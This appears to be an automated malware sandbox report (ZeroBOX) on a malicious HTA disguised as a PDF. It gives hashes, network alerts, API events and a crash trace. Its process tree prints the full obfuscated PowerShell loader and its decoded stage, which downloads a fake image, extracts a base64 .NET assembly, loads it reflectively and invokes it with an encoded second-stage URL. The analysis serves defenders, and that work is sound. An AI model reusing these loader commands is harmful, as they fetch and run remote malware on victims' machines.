Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Oct. 31, 2023, 5:43 p.m.	Oct. 31, 2023, 5:45 p.m.

Size	112.9KB
Type	HTML document, Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators
MD5	`9f5447784eb960df0833273eded3324c`
SHA256	`2da026ec237903e5de38b8f9f37183229db7601933ad5e1f247a8f73a3cbf2cb`
CRC32	`DE304A32`
ssdeep	`768:iNMAbaHvu4Sc1kLIWIqKsVsfscsNsWsysasUs4sLsrsFsHsusVsvsMsTs4sKsksa:iGAX4Dt7pp95`
Yara	None matched

iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\XLARFQ77802578790.pdf.hta.html
3068
- iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3068 CREDAT:145409
  1776
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€aQBt€€GE€€ZwBl€€HU€€c€€Bs€€G8€€YQBk€€C4€€aQBv€€C8€€aQBi€€C8€€ZQBr€€Fc€€ZwBI€€Fc€€agBQ€€DM€€YQBy€€HY€€VQBx€€Dc€€Xw€€x€€DY€€OQ€€4€€DE€€Ng€€2€€D€€€€OQ€€3€€C4€€agBw€€Gc€€Jw€€7€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€I€€€€9€€C€€€€TgBl€€Hc€€LQBP€€GI€€agBl€€GM€€d€€€€g€€FM€€eQBz€€HQ€€ZQBt€€C4€€TgBl€€HQ€€LgBX€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€7€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€€€k€€Hc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€C4€€R€€Bv€€Hc€€bgBs€€G8€€YQBk€€EQ€€YQB0€€GE€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBV€€HI€€b€€€€p€€Ds€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€V€€Bl€€Hg€€d€€€€u€€EU€€bgBj€€G8€€Z€€Bp€€G4€€ZwBd€€Do€€OgBV€€FQ€€Rg€€4€€C4€€RwBl€€HQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBC€€Hk€€d€€Bl€€HM€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBT€€FQ€€QQBS€€FQ€€Pg€€+€€Cc€€Ow€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBF€€E4€€R€€€€+€€D4€€Jw€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€D0€€I€€€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C4€€SQBu€€GQ€€ZQB4€€E8€€Zg€€o€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€ZQBu€€GQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bl€€G4€€Z€€BG€€Gw€€YQBn€€Ck€€Ow€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€ZQ€€g€€D€€€€I€€€€t€€GE€€bgBk€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€d€€€€g€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€Cs€€PQ€€g€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€LgBM€€GU€€bgBn€€HQ€€a€€€€7€€CQ€€YgBh€€HM€€ZQ€€2€€DQ€€T€€Bl€€G4€€ZwB0€€Gg€€I€€€€9€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBT€€HU€€YgBz€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€s€€C€€€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€p€€Ds€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€QwBv€€G4€€dgBl€€HI€€d€€Bd€€Do€€OgBG€€HI€€bwBt€€EI€€YQBz€€GU€€Ng€€0€€FM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€Ck€€Ow€€k€€Gw€€bwBh€€GQ€€ZQBk€€EE€€cwBz€€GU€€bQBi€€Gw€€eQ€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€UgBl€€GY€€b€€Bl€€GM€€d€€Bp€€G8€€bg€€u€€EE€€cwBz€€GU€€bQBi€€Gw€€eQBd€€Do€€OgBM€€G8€€YQBk€€Cg€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€B0€€Hk€€c€€Bl€€C€€€€PQ€€g€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C4€€RwBl€€HQ€€V€€B5€€H€€€€ZQ€€o€€Cc€€RgBp€€GI€€ZQBy€€C4€€S€€Bv€€G0€€ZQ€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C€€€€PQ€€g€€CQ€€d€€B5€€H€€€€ZQ€€u€€Ec€€ZQB0€€E0€€ZQB0€€Gg€€bwBk€€Cg€€JwBW€€EE€€SQ€€n€€Ck€€LgBJ€€G4€€dgBv€€Gs€€ZQ€€o€€CQ€€bgB1€€Gw€€b€€€€s€€C€€€€WwBv€€GI€€agBl€€GM€€d€€Bb€€F0€€XQ€€g€€Cg€€JwBk€€Eg€€a€€€€w€€Ew€€bQBw€€Ho€€YQBI€€Fo€€bgBh€€Ec€€c€€€€0€€Fk€€agBR€€DI€€WgBY€€E4€€a€€BZ€€G0€€VgB1€€GE€€W€€Bw€€DE€€WQB5€€Dg€€M€€BO€€Ho€€RQB1€€E4€€egBN€€HU€€TgBE€€FU€€eQBM€€Go€€VQ€€0€€E0€€Uw€€4€€HY€€TwBu€€EI€€M€€Bk€€Ec€€Zw€€9€€Cc€€I€€€€s€€C€€€€JwBk€€GY€€Z€€Bm€€GQ€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€YQBk€€HM€€YQ€€n€€C€€€€L€€€€g€€Cc€€Z€€Bl€€Cc€€I€€€€s€€C€€€€JwBj€€HU€€Jw€€p€€Ck€€';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
    1720
    - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ekWgHWjP3arvUq7_1698166097.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmpzaHZnaGp4YjQ2ZXNhYmVuaXp1Yy80NzEuNzMuNDUyLjU4MS8vOnB0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
      2964

Name	Response	Post-Analysis Lookup
imageupload.io	A 104.21.83.102 A 172.67.222.26	104.21.83.102

IP Address	Status	Action
104.21.83.102	Active	Moloch
117.18.232.200	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49175 -> 117.18.232.200:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49178 -> 104.21.83.102:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49174 -> 117.18.232.200:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 117.18.232.200:443 -> 192.168.56.102:49176	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.102:49178 104.21.83.102:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1P5	CN=imageupload.io	b1:21:d8:81:60:0d:67:7c:14:72:94:30:ff:a0:2d:d7:b8:50:dd:46

Queries for the computername (13 events)

Time & API	Arguments	Status	Return
GetComputerNameW Oct. 31, 2023, 5:44 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 31, 2023, 5:44 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 31, 2023, 5:44 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 31, 2023, 5:44 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 31, 2023, 5:44 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 31, 2023, 5:44 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 31, 2023, 5:44 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 31, 2023, 5:44 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 31, 2023, 5:44 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 31, 2023, 5:44 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 31, 2023, 5:44 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 31, 2023, 5:44 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 31, 2023, 5:44 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 31, 2023, 5:44 p.m.			0	0
IsDebuggerPresent Oct. 31, 2023, 5:44 p.m.			0	0

Command line console output was observed (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Oct. 31, 2023, 5:45 p.m.	buffer: True console_handle: 0x0000000000000013	1	1	0

Uses Windows APIs to generate a cryptographic key (50 out of 80 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000030b0d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b359d20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b359d20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b359d20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b373830 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b373830 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b373910 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b373910 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b373910 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b373910 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b373c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b373c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b373c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b374160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b374160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b374160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3741d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3741d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3741d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3741d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3741d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3741d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3741d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3741d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b374240 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b374240 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b374240 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b374390 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b374390 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b374400 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b374400 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b374390 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b374390 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b374390 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b39f070 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b39f070 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b39f070 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b39f070 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b39fb60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b39fb60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000037afa0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5e9760 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5e9760 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5e9760 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f6590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f6590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f6670 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f6670 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f6670 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 31, 2023, 5:44 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f6670 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 31, 2023, 5:44 p.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Oct. 31, 2023, 5:44 p.m.	stacktrace: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3 ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295 I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799 Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6 CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883 CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43 CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0 GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551 CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542 GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6 TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1 TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57 ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106 ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182 BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521 exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00 exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d exception.instruction: add rsp, 0xc8 exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 42141 exception.address: 0x7fefda5a49d registers.r14: 0 registers.r15: 0 registers.rcx: 111928176 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 111934128 registers.r11: 111929936 registers.r8: 0 registers.r9: 0 registers.rdx: 1 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1905685317 registers.r13: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Oct. 31, 2023, 5:44 p.m.

stacktrace:

RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 42141
exception.address: 0x7fefda5a49d
registers.r14: 0
registers.r15: 0
registers.rcx: 111928176
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 111934128
registers.r11: 111929936
registers.r8: 0
registers.r9: 0
registers.rdx: 1
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 1905685317
registers.r13: 0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET https://imageupload.io/ib/ekWgHWjP3arvUq7_1698166097.jpg

Performs some HTTP requests (2 events)

